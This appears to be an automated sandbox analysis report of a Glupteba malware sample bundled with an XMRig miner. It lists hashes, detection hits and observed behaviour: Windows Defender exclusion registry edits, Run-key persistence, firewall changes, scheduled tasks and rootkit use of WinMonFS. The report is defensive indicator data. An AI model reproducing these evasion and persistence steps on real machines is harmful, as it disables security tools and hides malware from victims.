Analysis
-
max time kernel
291s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
18-04-2024 23:03
Static task
static1
Behavioral task
behavioral1
Sample
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
Resource
win7-20240220-en
General
-
Target
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe
-
Size
4.2MB
-
MD5
49a9dd02764bfa2e7b291ead697ee2ad
-
SHA1
81586bd3beb9d9b0f39031294069baf101b82be6
-
SHA256
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c
-
SHA512
a073ebcb32135740e37c1fbc0d76acf514a80df356a4a2ba791d6cc6646fc8854ee3ca9d16b305859b36b963751fb943dd4f802eaedb038ccf28a3e657d728c0
-
SSDEEP
98304:+2SaIQvbQwPoUoX+ssXpcUgoav4xR/Dl9wlfOsN9GV/e3k:+79+Q+oUS+DcUdQ4xVluxNd3k
Malware Config
Signatures
-
Glupteba payload 35 IoCs
Processes:
resource yara_rule behavioral2/memory/5036-2-0x0000000005130000-0x0000000005A1B000-memory.dmp family_glupteba behavioral2/memory/5036-3-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/5036-301-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/5036-303-0x0000000005130000-0x0000000005A1B000-memory.dmp family_glupteba behavioral2/memory/2704-306-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/2704-802-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/2704-1041-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1047-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1784-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1793-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1794-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1796-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1799-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1801-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1802-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1804-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1806-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1809-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1811-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1812-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1814-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1817-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1819-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1821-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1822-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1824-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1827-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1829-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1830-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1832-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1834-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1837-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1839-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-1841-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba behavioral2/memory/4720-2088-0x0000000000400000-0x000000000300A000-memory.dmp family_glupteba -
Processes:
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe -
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe family_xmrig C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe xmrig -
Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 2544 netsh.exe -
Executes dropped EXE 5 IoCs
Processes:
csrss.exeinjector.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.exepid process 4720 csrss.exe 4664 injector.exe 4144 windefender.exe 2256 windefender.exe 196 dcb505dc2b9d8aac05f4ca0727f5eadb.exe -
Processes:
resource yara_rule C:\Windows\windefender.exe upx behavioral2/memory/4144-1792-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/2256-1795-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/2256-1798-0x0000000000400000-0x00000000008DF000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe upx behavioral2/memory/196-2325-0x0000000000400000-0x00000000008E1000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe upx C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe upx C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe upx -
Processes:
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
csrss.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe Set value (str) \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 8 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe -
Drops file in Windows directory 4 IoCs
Processes:
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.execsrss.exedescription ioc process File created C:\Windows\rss\csrss.exe acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 4424 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1260 schtasks.exe 4272 schtasks.exe -
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 43 Go-http-client/1.1 HTTP User-Agent header 41 Go-http-client/1.1 -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exewindefender.exepowershell.exepowershell.exepowershell.exepowershell.exenetsh.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2062 = "North Korea Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-511 = "Central Asia Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-872 = "Pakistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1891 = "Russia TZ 3 Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-982 = "Kamchatka Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2391 = "Aleutian Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-771 = "Montevideo Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2572 = "Turks and Caicos Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2371 = "Easter Island Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-221 = "Alaskan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Key created \REGISTRY\USER\.DEFAULT\System\CurrentControlSet netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2611 = "Bougainville Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time" windefender.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exepowershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exepid process 4328 powershell.exe 4328 powershell.exe 4328 powershell.exe 5036 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 5036 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 3784 powershell.exe 3784 powershell.exe 3784 powershell.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe 4064 powershell.exe 4064 powershell.exe 4064 powershell.exe 4432 powershell.exe 4432 powershell.exe 4432 powershell.exe 4072 powershell.exe 4072 powershell.exe 4072 powershell.exe 5056 powershell.exe 5056 powershell.exe 5056 powershell.exe 1192 powershell.exe 1192 powershell.exe 1192 powershell.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4720 csrss.exe 4720 csrss.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4720 csrss.exe 4720 csrss.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4720 csrss.exe 4720 csrss.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe 4664 injector.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
Processes:
powershell.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4328 powershell.exe Token: SeDebugPrivilege 5036 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Token: SeImpersonatePrivilege 5036 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe Token: SeDebugPrivilege 3784 powershell.exe Token: SeDebugPrivilege 4064 powershell.exe Token: SeDebugPrivilege 4432 powershell.exe Token: SeDebugPrivilege 4072 powershell.exe Token: SeDebugPrivilege 5056 powershell.exe Token: SeDebugPrivilege 1192 powershell.exe Token: SeSystemEnvironmentPrivilege 4720 csrss.exe Token: SeSecurityPrivilege 4424 sc.exe Token: SeSecurityPrivilege 4424 sc.exe Token: SeDebugPrivilege 4424 powershell.exe Token: SeDebugPrivilege 60 powershell.exe -
Suspicious use of WriteProcessMemory 45 IoCs
Processes:
acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exeacdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.execmd.execsrss.exewindefender.execmd.exedescription pid process target process PID 5036 wrote to memory of 4328 5036 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 5036 wrote to memory of 4328 5036 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 5036 wrote to memory of 4328 5036 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 3784 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 3784 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 3784 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 4976 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe cmd.exe PID 2704 wrote to memory of 4976 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe cmd.exe PID 4976 wrote to memory of 2544 4976 cmd.exe netsh.exe PID 4976 wrote to memory of 2544 4976 cmd.exe netsh.exe PID 2704 wrote to memory of 4064 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 4064 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 4064 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 4432 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 4432 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 4432 2704 acdf6c7192708a388f9f767ffb9a7a12386e7eefb0302dc37ccf097348138b2c.exe powershell.exe PID 2704 wrote to memory of 4720 2704 